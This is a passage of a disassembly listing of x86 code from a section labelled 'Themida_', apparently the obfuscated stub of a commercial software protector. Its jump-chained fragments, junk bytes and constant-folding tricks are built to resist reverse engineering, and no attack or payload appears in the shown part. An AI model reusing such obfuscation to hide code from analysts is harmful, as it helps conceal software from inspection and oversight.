		jmp	loc_552950
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 0E97E122Dh, 0A64CE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5530E2:				; CODE XREF: Themida_:00551CBEj
		or	edx, eax
		shl	edx, 1
		push	42DEh
		mov	[esp], eax
		jmp	loc_55433C
; ---------------------------------------------------------------------------
		db 0Dh
		dd 6DCB6FDBh, 78D9DD35h, 58C10189h, 4B1DC181h, 48E94B4Ah
		dd 89FFFFF5h, 13B3241Ch, 0C9FECB86h, 0DBF6CB86h, 39A2E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55311E:				; CODE XREF: Themida_:00550232j
		pop	esi
		add	esp, 4
		push	ebx
		push	4
		pop	ebx
		add	esi, ebx
		pop	ebx
		add	esi, 4
		push	347Ah
		mov	[esp], esi
		jmp	loc_556899
; ---------------------------------------------------------------------------
		db 2Dh
		dd 3D8B46E5h, 0FFB631E9h, 55C701FFh, 0CA5E9h, 0E3895300h
		dd 4C381h, 0BA520000h, 4, 0C7CE9h, 2434FF00h, 50EFE9h
		dd 48B6600h, 4EC8124h, 89000000h, 0EC83243Ch, 24248904h
		dd 4240481h, 5F000000h,	4C781h,	57520000h, 2BFh, 4090E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55319A:				; CODE XREF: Themida_:00557CB9j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	7F57h
		mov	[esp], eax
		jmp	loc_557E3B
; ---------------------------------------------------------------------------
aRhj		db 'RhJ%',0
		align 10h
		dd 24048F54h, 2313E9h, 0D4BD5500h, 0F7203572h, 2AED81D5h
		dd 813A7D21h, 1C5h, 0ED814500h,	0A54D6BFFh, 37E9EA01h
		dd 5F000014h, 0FFC029E9h, 0EEE95DFFh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5531F7:				; CODE XREF: Themida_:00554435j
		sub	ebp, 4
		jmp	loc_556BCE
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFB1F4h, 815BDA01h, 4ECh,	24348900h, 3B668h, 240C8900h
		dd 510718B9h, 3BC98117h, 81620107h, 510737E9h, 4815177h
		dd 7B281024h, 0EE815E31h, 317B2810h, 5EF20159h,	31241433h
		dd 14332414h, 0A5E95C24h, 29FFFF8Fh, 515E5AD0h,	606DFDB9h
		dd 0BC1AE948h, 34FFFFFFh, 34685824h, 89000017h,	0E789243Ch
		dd 0FFDEF6E9h, 48966FFh, 8F7AE924h, 3166FFFFh, 33662404h
		dd 31662404h, 50662404h, 243C8766h, 66D7F766h, 66243C87h
		dd 8324048Bh, 316602C4h, 33662404h, 31662404h, 0FCE92404h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5532AB:				; CODE XREF: Themida_:0055553Fj
		add	ebp, 5EBA21A8h
		shr	ebp, 3
		xor	ebp, 0ECCE805h
		sub	ecx, 3AEB3D8Ah
		add	ecx, ebp
		add	ecx, 3AEB3D8Ah
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ecx, 17E66164h
		sub	ecx, eax
		add	ecx, 17E66164h
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55755B
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 7E6368h, 24148900h, 0D753DDBAh, 114FE92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55330A:				; CODE XREF: Themida_:0054D5F0j
		sub	esp, 4
		jmp	loc_54C21D
; ---------------------------------------------------------------------------
		dw 3468h
		dd 5F752B2Dh, 2A5AB951h, 0C1816BDBh, 54B40698h,	0C68C181h
		dd 0CF01F3A7h, 0FFF83159h, 0A3E92434h, 81FFFFD9h, 0A9C298C7h
		dd 0B86AE97Bh, 348BFFFFh, 4C48124h, 89000000h, 90BB5AD6h
		dd 296C805Fh, 0E9C3E9F3h, 0F781FFFFh, 0E7A0BCC4h, 505FFA01h
		dd 0FFEFA0E9h, 0E3C143FFh, 7EFB6808h, 0C890000h, 4540B924h
		dd 0BA520049h, 2C981171h, 0D5F7EA87h, 0E281EA87h, 715C55h
		dd 0CC7BEA81h, 0D129CF46h, 0E924148Bh, 0FFFFCEE8h
; ---------------------------------------------------------------------------

loc_55339C:				; CODE XREF: Themida_:00550851j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shl	edx, 6
		jmp	loc_554094
; ---------------------------------------------------------------------------

loc_5533B2:				; CODE XREF: Themida_:0055809Cj
		push	edi
		push	3471510Ch
		pop	edi
		jmp	loc_5504B0
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 2E4D7F2Dh, 3CDAE940h, 0D5F70000h, 0C6A1ED81h, 0EE01F805h
		dd 4749E95Dh, 875F0000h, 0FF5C2404h, 51592434h,	0FF91D8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5533E9:				; CODE XREF: Themida_:00550B33j
		pop	edx
		mov	ecx, [esp]
		jmp	loc_54E315
; ---------------------------------------------------------------------------

loc_5533F2:				; CODE XREF: Themida_:00550976j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_551D28
; ---------------------------------------------------------------------------

loc_553403:				; CODE XREF: Themida_:0054C323j
		shr	si, 6
		xor	si, 9DAh
		add	cx, si
		pop	esi
		add	bx, cx
		pop	ecx
		movzx	eax, ax
		push	small 352h
		jmp	loc_54EB98
; ---------------------------------------------------------------------------
		dd 10B0BF57h, 0B2BD6F0Ah, 316F0A10h, 0C2815FFDh, 5D1B27D4h
		dd 0CAE9EA29h, 0BBFFFFE9h, 14301D3Fh, 8B5BD901h, 0C483241Ch
		dd 240C8704h, 1BAFE95Ch, 66BE0000h, 0E9349B3Eh,	0FFFF97E5h
; ---------------------------------------------------------------------------

loc_55345C:				; CODE XREF: Themida_:005547A7j
		mov	[esp], edi
		push	3F7617D8h
		pop	edi
		jmp	loc_54D2BD
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 0DAC18158h, 0E927AA37h, 0FFFF9291h, 89242C89h, 199E9E5h
		dd 0E9590000h, 2D68h
; ---------------------------------------------------------------------------

loc_553488:				; CODE XREF: Themida_:0054E3C5j
					; Themida_:0054FEDBj ...
		push	ebx
		push	396Ch
		mov	[esp], ebx
		jmp	loc_557021
; ---------------------------------------------------------------------------

loc_553496:				; CODE XREF: Themida_:00552DAEj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dx
		mov	dh, 83h
		and	bl, dh
		mov	dx, [esp]
		jmp	loc_5506BE
; ---------------------------------------------------------------------------
		dd 9CC83B66h, 0FF8D3FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5534B5:				; CODE XREF: Themida_:0054D967j
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 7F713AAAh
		sub	ecx, 0A24D157h
		mov	esi, ecx
		pop	ecx
		jmp	loc_55039A
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4FEE78F1h, 6CE18149h, 0F72A046Dh, 3FC181D9h,	893CF848h
		dd 2434FFCAh, 0FFB6B0E9h, 240483FFh, 5F5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5534FA:				; CODE XREF: Themida_:005527C7j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5579EF
; ---------------------------------------------------------------------------
		db 1, 0F5h, 0E9h
		dd 0FFFFFAC7h
; ---------------------------------------------------------------------------

loc_553510:				; CODE XREF: Themida_:0055076Bj
		add	esp, 4
		and	eax, esi
		pop	esi
		push	ebp
		jmp	loc_54F121
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C243Ch, 0FFFF8CCCh, 0F20523BDh, 246C010Ah
		dd 0EC835D04h, 4B3FE904h, 0E9510000h, 44E7h
; ---------------------------------------------------------------------------

loc_553540:				; CODE XREF: Themida_:005522C4j
		mov	ecx, edx
		pop	edx
		jmp	loc_555A85
; ---------------------------------------------------------------------------

loc_553548:				; CODE XREF: Themida_:00554A30j
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 24h
		sub	edx, 60C83C4Dh
		add	edx, edi
		add	edx, 60C83C4Dh
		push	0F59h
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, 256932C5h
		add	ecx, edx
		add	ecx, 256932C5h
		add	dword ptr [ecx], 1
		pop	ecx
		jmp	loc_55541D
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 0B081E924h, 3C89FFFFh, 221BBF24h,	0FD093126h
		dd 0FFE16DE9h, 2434FFFFh, 0E924048Bh, 0FFFF8E23h, 3CB951h
		dd 0C1810000h, 1AEF5A40h, 3A2EE981h, 0C181416Fh, 517B4CBBh
		dd 0E981F901h, 517B4CBBh, 0E534E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5535D2:				; CODE XREF: Themida_:00554231j
		pop	ebx
		xor	eax, ebx
		jmp	loc_5536BB
; ---------------------------------------------------------------------------

loc_5535DA:				; CODE XREF: Themida_:00552518j
		shr	ebp, 4
		jmp	loc_552705
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 932AF305h, 4206EB81h, 0D92137F8h, 0FF9170E9h, 81E589FFh
		dd 4C5h, 0B850E900h, 0CBFEFFFFh, 0B652E3D0h, 36EE807Bh
		dd 5E9F328h, 5AFFFF9Ah,	2AE95366h, 81000023h, 4C5h, 4ED8300h
		dd 0A1C8E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55362A:				; CODE XREF: Themida_:00554CE0j
		push	621Dh
		mov	[esp], edi
		push	23683C07h
		pop	edi
		jmp	loc_54D93D
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 33971C7h, 0C87576Fh,	87D9F724h, 815F240Ch, 9D4F0CE7h
		dd 29EF8115h, 0E9BFD91Ch, 111Ch, 0B8E9DBF7h, 1000032h
		dd 5A042454h, 12DCE9h, 0ED835A00h, 0C9E951FFh, 89000039h
		dd 0DDBF243Ch, 29258D4Eh, 0C3815FFBh, 19510555h, 0EB81C301h
		dd 19510555h, 4EDDC381h, 0E957258Dh, 0FFFFE3D9h, 188B68h
		dd 24148900h, 28FCBD55h, 10BA3775h, 0C1109E35h,	0FEE908E2h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5536BB:				; CODE XREF: Themida_:005535D5j
		xor	ebx, eax
		xor	eax, ebx
		push	2B64h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24EA57E2h
		jmp	loc_553DA9
; ---------------------------------------------------------------------------

loc_5536D7:				; CODE XREF: Themida_:0055080Dj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5552DD
; ---------------------------------------------------------------------------
		db 28h
		dd 0B60F58E3h, 244DE9C0h, 0F2810000h, 0CFCD9E14h, 295AD329h
		dd 8EC9E9CBh, 0B850FFFFh, 6DB14288h, 4BF5740h, 0C112731Ah
		dd 0DFF702EFh, 123CCF81h, 0BE562B62h, 2F4630h, 0FFE0D1E9h
		dd 546A68FFh, 2C890000h, 19EEBD24h, 0DDF714B7h,	5FD4ED81h
		dd 0ED81096Eh, 3CE8388Bh, 0AC5AE957h, 248BFFFFh, 240C8924h
		dd 51E9C189h, 5D000011h, 271EE9h, 0AB055A00h, 1303A5Bh
		dd 5BAB2DE8h, 875D303Ah, 248B2404h, 0FD3EE924h,	0EA83FFFFh
		dd 24148704h, 242C895Ch, 0C5815D54h, 4,	4AED68h, 243C8900h
		dd 2F740FBFh, 0BF575573h, 58012E38h, 835FFD89h,	348904ECh
		dd 0B7F3BE24h, 0F529DBA8h, 0FFAD3AE9h, 6C815EFFh, 6FCE0424h
		dd 5858451Ah, 405h, 1FE95200h, 89000045h, 0EC83241Ch, 0DAE7E904h
		dd 8F5FFFFFh, 248B2404h, 48B6624h, 4EC8324h, 4802E9h
		db 0
; ---------------------------------------------------------------------------

loc_5537DD:				; CODE XREF: Themida_:005518EAj
		push	ebx
		jmp	loc_556988
; ---------------------------------------------------------------------------
		db 0B9h
		align 8
		dd 0DEE9F929h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5537EF:				; CODE XREF: Themida_:00555815j
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 0FEh, 0C8h, 0E9h
		dd 689h, 4B951h, 0CA290000h, 23EFE9h, 0CA05AD00h, 5516122h
		dd 1A675A1Ch, 8904EC83h, 0AFBD242Ch, 1131241h, 42E95DE8h
		dd 1000016h, 0C18158C1h, 4, 8B240C87h, 0E9512424h, 0FFFFB588h
		dd 62E0C581h, 0EF8902D7h, 8BFB015Dh, 0C483243Ch, 0E9C32904h
		dd 0FFFFB6A2h, 0B391E959h, 0D9F6FFFFh, 8068C180h, 0CC88A5E9h
		dd 66E32859h, 0A0C38058h, 0FF25C380h, 0E9582434h, 0FFFFA81Ch
		dd 4245E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553882:				; CODE XREF: Themida_:0055013Cj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	4FA1h
		mov	[esp], ebp
		mov	ebp, 1
		push	ecx
		push	edx
		push	ebp
		sub	dword ptr [esp], 94E22B7h
		pop	edx
		jmp	loc_552376
; ---------------------------------------------------------------------------
		db 5Ch,	83h, 0C4h
		dd 0E0895004h, 405h, 42D00h, 0E9500000h, 25DCh,	1E3723BDh
		dd 52575263h, 342BE9h, 81F70100h, 8A5B07EFh, 3C875E7Ch
		dd 0CD35C24h, 15E99C24h, 0ACFFFF89h, 53FAB151h,	0F82892B7h
		dd 4FE045Bh, 2CC80026h,	4FE2C26h, 0E9525992h, 0FFFFB625h
		dd 4EC81h, 34890000h, 2BE24h, 0F2010000h, 6824348Bh, 7291h
		dd 89241489h, 4C281E2h,	81000000h, 4C2h, 74FF5200h, 8F5A0424h
		dd 6DE92404h, 0B3FFFFF7h, 0FFC380DCh, 0FFE1FFE9h, 0CECA81FFh
		dd 81450E1Dh, 0B65CF4C2h, 0E860E96Dh, 0C308FFFFh, 0FF8E01E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553955:				; CODE XREF: Themida_:00555EC0j
		sub	ecx, ebp
		sub	ecx, 305E4198h
		jmp	loc_550963
; ---------------------------------------------------------------------------
		dw 48Fh
aSlb		db '$éLB',0
		align 2
		dw 34FFh
		dd 2434FF24h, 0E6895658h, 4C681h, 0C6810000h, 4, 0FFBB2FE9h
		dd 24248BFFh, 0FF8867E9h, 24248BFFh, 240C8966h,	0C8B60F66h
		dd 0E99C5166h, 4901h, 0BF243C89h, 5F9C2496h, 0FF9C70E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5539AD:				; CODE XREF: Themida_:00557D40j
		pop	ebx
		push	eax
		mov	eax, 20h
		jmp	loc_55285F
; ---------------------------------------------------------------------------
		db 64h,	66h, 8Bh
		dd 0BC686602h, 489666Ah, 882AE924h, 0E035FFFFh,	55445D11h
		dd 1C0372BDh, 2E5C17Eh,	0FFF9EDE9h, 6E3C1FFh, 0FFAB1FE9h
		dd 4DBB53FFh, 0C112B63Fh, 0EBD102EBh, 7E2E381h,	6878F3h
		dd 29000000h, 0E95B241Ch, 0FFFF8932h, 81E9015Fh, 0EE5FFDC1h
		dd 0C4E95540h, 89FFFFEEh, 0D4E9242Ch, 4FFFFDEh,	2CD82828h
		dd 4EC8328h, 0E9241C89h, 3871h,	8952D829h, 4C281E2h, 83000000h
		dd 143304EAh, 24143124h, 8B241433h, 2C892424h, 2C67BD24h
		dd 7054C1Eh, 2927DB2Ah,	2A072DE8h, 34FF27DBh, 242C8B24h
		dd 5E08950h, 4,	8704C083h, 815C2404h, 4C4h, 331A0500h
		dd 0EC811A18h, 4, 0BB241C89h, 669A51E4h, 0E9FFC383h, 0FFFFF8D9h
; ---------------------------------------------------------------------------

loc_553A90:				; CODE XREF: Themida_:0054E3D3j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55263F
; ---------------------------------------------------------------------------

loc_553AA9:				; CODE XREF: Themida_:00558046j
		pop	esp
		jmp	loc_54E98E
; ---------------------------------------------------------------------------
		db 0BEh
		dd 128D75EBh, 0FF89BAE9h, 244401FFh, 40E95804h,	29FFFFC7h
		dd 2434FFEEh, 0E789575Dh, 4BA52h, 0D7010000h, 4C7835Ah
		dd 5C243C87h, 0FFE8B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553AE1:				; CODE XREF: Themida_:0054FA7Fj
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_54CAA1
; ---------------------------------------------------------------------------
aZsz		db 'ZéZ',0Ah,0
		dd 81C60100h, 8073BDEEh, 0CCE95872h, 1FFFFE2h, 7BC381F3h
		dd 8B3A2E09h, 0C4832434h, 0FF6BD04h, 24E92BA2h,	5100004Ah
		dd 42474FFh, 418AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553B26:				; CODE XREF: Themida_:00556FAEj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dd 582434FFh, 338268h, 240C8900h, 0BB535954h, 4, 0FFA468E9h
		dd 4C781FFh, 83000000h,	3C3302C7h, 243C3124h, 8B243C33h
		dd 0F7662424h, 3E956F9h, 0ACFFFF9Fh, 8957D830h,	4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 240C895Ch, 0B3535150h, 0E9D988EAh
		dd 3BAAh, 0E904EC83h, 0FFFFA7C5h
; ---------------------------------------------------------------------------

loc_553B98:				; CODE XREF: Themida_:0054F548j
		push	ecx
		mov	ecx, ebx
		mov	edi, ecx
		pop	ecx
		jmp	loc_54D3A4
; ---------------------------------------------------------------------------

loc_553BA3:				; CODE XREF: Themida_:00553C4Dj
		mov	ch, bl
		pop	bx
		shl	ch, 6
		jmp	loc_554C03
; ---------------------------------------------------------------------------
		db 81h
		dd 0F05653EFh, 0E34FE962h, 335FFFFFh, 14312414h, 24143324h
		dd 6824248Bh, 759Ah, 0E9243C89h, 3825h,	0E904C483h, 0FFFFD52Fh
; ---------------------------------------------------------------------------

loc_553BDC:				; CODE XREF: Themida_:0055159Fj
		xchg	eax, ebp
		pop	eax
		jmp	loc_55148E
; ---------------------------------------------------------------------------

loc_553BE3:				; CODE XREF: Themida_:00557BFEj
		mov	[esp], ebx
		jmp	loc_551700
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815F2434h, 4C4h, 0D3F58100h,	817E7C71h, 3673F6EDh, 0D0C58141h
		dd 296E8BEAh, 0EAE95DEBh, 51FFFFE6h, 0DF530D68h, 0E9C15907h
		dd 8EE98105h, 51E74CDDh, 3E242C81h, 5F590E4Eh, 4E3EC781h
		dd 0C8B590Eh, 4C48324h,	3AEDF781h, 7BE95F8Dh
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553C3F:				; CODE XREF: Themida_:005577C4j
		shl	al, 7
		shr	al, 5
		shl	al, 4
		add	al, 63h
		mov	bl, al
		pop	eax
		jmp	loc_553BA3
; ---------------------------------------------------------------------------
		dw 487h
		dd 14335C24h, 9B09E924h, 0CF81FFFFh, 74157EB8h,	0F702EFC1h
		dd 0B981E9DFh, 0EB81FFFFh, 46521ADh, 193CEF81h,	0DF291CBEh
		dd 193CC781h, 0E95B1CBEh, 0FFFFA1F2h
; ---------------------------------------------------------------------------

loc_553C88:				; CODE XREF: Themida_:0054D50Dj
		mov	edi, 63321875h
		shl	edi, 1
		xor	edi, 0C66430EEh
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_554848
; ---------------------------------------------------------------------------
		db 89h
		dd 0CCE92434h, 8B00001Eh, 0C4812434h, 4, 4C681h, 0BF570000h
		dd 2, 0FFEAE3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553CC5:				; CODE XREF: Themida_:0054D0C2j
		pop	eax
		and	ecx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ebx
		push	esp
		jmp	loc_54F26A
; ---------------------------------------------------------------------------
		dd 52595451h, 0B461D6BAh, 1EA8308h, 0FFABC0E9h,	2B9FFh
		dd 0C8010000h, 4253E9h
		db 0
; ---------------------------------------------------------------------------

loc_553D01:				; CODE XREF: Themida_:00551BF5j
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556DBE
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 83241C8Bh, 1C8B04C4h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 0FF8D17E9h, 2434FFFFh, 8124148Bh,	4C4h, 2775E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553D46:				; CODE XREF: Themida_:00554A8Fj
		pop	esp
		mov	[esp], ebp
		jmp	loc_55705E
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704C6h, 0DAE95C24h, 8F000001h
		dd 2434FF00h, 0C76EE958h, 7D68FFFFh, 89000007h,	5B54241Ch
		dd 918CE957h, 3C89FFFFh, 8C1BF24h, 0B9E9475Dh, 89000000h
		dd 0FDE92414h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553D93:				; CODE XREF: Themida_:00550033j
		push	ebp
		mov	ebp, 31AE24EEh
		shr	ebp, 6
		dec	ebp
		push	ecx
		mov	ecx, 346E2431h
		push	ebx
		jmp	loc_552AB4
; ---------------------------------------------------------------------------

loc_553DA9:				; CODE XREF: Themida_:005536D2j
		not	edx
		jmp	loc_54D65B
; ---------------------------------------------------------------------------
		dd 427B5EBFh, 1AA8E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553DBA:				; CODE XREF: Themida_:0055219Bj
		mov	esp, [esp]
		push	385Ch
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 7004650Dh
		and	eax, 25AD536Ch
		jmp	loc_551A3A
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 2474FF53h, 0A03FE904h, 34FFFFFFh, 8A6DE924h,	68BDFFFFh
		dd 5032FB66h, 0EB727BB8h, 7054879h, 0E9060AC9h,	0FFFFCCD4h
		dd 5C240433h, 1756E9h, 24248B00h, 0F3E9F1F7h, 54FFFF96h
		dd 7445685Dh, 3C890000h, 4BF24h, 0C5810000h, 6ED81827h
		dd 0FFDE10E9h, 14895CFFh, 0E9515324h, 0FFFF83EDh, 1EF9EF81h
		dd 0C781203Dh, 48D77A0Ch, 0FFC752E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553E55:				; CODE XREF: Themida_:00554FCFj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54EC89
; ---------------------------------------------------------------------------
		db 0C1h
		dd 434B05E3h, 8103EBC1h, 9D412AF3h, 90BA520Bh, 149186Eh
		dd 24148BD3h, 4C481h, 0D8290000h, 0FFBD2EE9h, 51D624FFh
		dd 3E6AE9h, 0DCE95800h,	8B000020h, 0C483243Ch, 242C8704h
		dd 0FFF89DE9h, 0C7E952FFh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553EAB:				; CODE XREF: Themida_:0054CB3Aj
		add	ebp, 4
		jmp	loc_54C25E
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0FFBD85E9h, 0EC81ADFFh, 4, 68241C89h, 41FE61F1h, 0E9FB875Bh
		dd 0FFFFCD5Eh, 0E95FFD89h, 30Ch, 0E3EA815Ah, 16B3E1Dh
		dd 0E3C281C2h, 586B3E1Dh, 8B241487h, 4092424h, 67E99C24h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553EFB:				; CODE XREF: Themida_:00555E93j
		pop	eax
		add	esp, 4
		jmp	loc_554BAA
; ---------------------------------------------------------------------------

loc_553F07:				; CODE XREF: Themida_:0054C99Bj
		mov	ah, 65h
		push	edx
		mov	dl, ah
		push	ecx
		mov	ch, dl
		mov	bh, ch
		pop	ecx
		pop	edx
		pop	eax
		neg	bh
		shl	bh, 5
		and	bh, 10h
		and	bh, 0D2h
		jmp	loc_54D857
; ---------------------------------------------------------------------------

loc_553F24:				; CODE XREF: Themida_:00556BEFj
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 6B2D66FEh
		xor	eax, edi
		jmp	loc_552C37
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 2682404h,	58000000h, 0FFB13AE9h, 5BDE01FFh
		dd 15EF589h, 9F9CE9E9h,	0E9ADFFFFh, 0FFFFC697h
; ---------------------------------------------------------------------------

loc_553F64:				; CODE XREF: Themida_:00550DD2j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54D051
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF91A6E9h, 4EC81FFh, 89000000h, 0FCB9240Ch,	81000003h
		dd 0C15FF2EFh, 0BC78105h, 295F5A6Bh, 0E6E953CFh, 0BEFFFF9Bh
		dd 4, 0FFF568E9h, 0E9E589FFh, 0D4Bh, 2424895Ch,	4B850h
		dd 44010000h, 8F580424h, 0F682404h, 89000042h, 4BB241Ch
		dd 81000000h, 0D104246Ch, 55510340h, 173BF1BDh,	246C0178h
		dd 0BFE95D08h, 81000011h, 399300C5h, 5DEF0127h,	2945E9h
		db 0
; ---------------------------------------------------------------------------

loc_553FED:				; CODE XREF: Themida_:005553B3j
		add	ecx, edi
		jmp	loc_552B5D
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 0F1E99C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554003:				; CODE XREF: Themida_:0054F684j
		shl	eax, 4
		push	edi
		mov	edi, 3823181Fh
		jmp	loc_551EDA
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 2474FF50h, 48F5804h,	0C9095C24h, 0D9FF840Fh,	0EC83FFFFh
		dd 4EC8104h, 89000000h,	4812424h, 424h,	0DBCEE900h, 0F131FFFFh
		dd 0FFD077E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554045:				; CODE XREF: Themida_:005572E4j
		sub	edx, edi
		sub	edx, 63966933h
		mov	edi, [esp]
		jmp	loc_54D010
; ---------------------------------------------------------------------------
		db 58h,	0BAh, 80h
		dd 0E959EB1Dh, 0FFFF916Eh, 2EBC15Bh, 0FFEBBEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554069:				; CODE XREF: Themida_:00555F15j
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 33h
		add	bl, 0B9h
		jmp	loc_555238
; ---------------------------------------------------------------------------

loc_55407A:				; CODE XREF: Themida_:005540F2j
		mov	[esp], edi
		jmp	loc_5506E6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4825BE56h, 0E9536849h, 0FFFFE7EEh
; ---------------------------------------------------------------------------

loc_554094:				; CODE XREF: Themida_:005533ADj
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 7BB50515h
		jmp	loc_54DF15
; ---------------------------------------------------------------------------
		dd 4BD98741h, 0C181D987h, 0DD83B623h, 0EBE9CA01h, 0FFFFFFA3h
		dd 83592434h, 1C8904ECh, 145BE924h, 24890000h, 4BE5624h
		dd 1000000h, 5E042474h,	0FF83F4E9h, 0A1E95EFFh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5540E3:				; CODE XREF: Themida_:00552432j
		add	edx, 5CEE52A8h
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		push	54D8h
		jmp	loc_55407A
; ---------------------------------------------------------------------------
		db 81h
		dd 0C39010C6h, 9C41E9C7h, 2486FFFFh, 21896824h,	1C890000h
		dd 5FE06824h, 14890000h, 0E9E68824h, 0FFFF8C57h, 9F57A705h
		dd 2BE95A56h, 0FE000025h, 0D5C980C1h, 0FFF72DE9h, 4802CFFh
		dd 2CD0280Ah, 5A80040Ah, 0B0505251h, 0E9C68811h, 1D13h
; ---------------------------------------------------------------------------

loc_554148:				; CODE XREF: Themida_:005573B4j
		or	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 67F7689Ah
		jmp	loc_55593A
; ---------------------------------------------------------------------------
		dw 0F742h
		dd 7FEA81D2h, 42574919h, 8ED2F281h, 0D62974A5h,	4EAD2D5Ah
		dd 0F00156D0h, 0D04EAD05h, 0BA525E56h, 2, 34FFD001h, 2326E924h
		dd 0EC810000h, 4, 0B5240C89h, 80D5F63Eh, 0B252C5EDh, 80C2FEE3h
		dd 28E918F2h, 0FF00001Ch, 148B2434h, 0E6895624h, 3386E9h
		dd 2EC8100h, 66000000h,	0B5240C89h, 53B50416h, 0FF923EE9h
		dd 0E9CA29FFh, 3AF2h, 83242C8Bh, 0BA5204C4h, 1FD80137h
		dd 0A1E9564Ah, 5C000019h, 0E9242489h, 0FFFF9E7Bh, 34FFEE29h
		dd 0D0685D24h, 8900005Dh, 0E2892414h, 4C281h, 0C2830000h
		dd 0D06DE904h, 0C483FFFFh, 7FE6E904h, 0C481FFFFh, 4, 0FFA618E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554219:				; CODE XREF: Themida_:005507D4j
		xchg	eax, [esp]
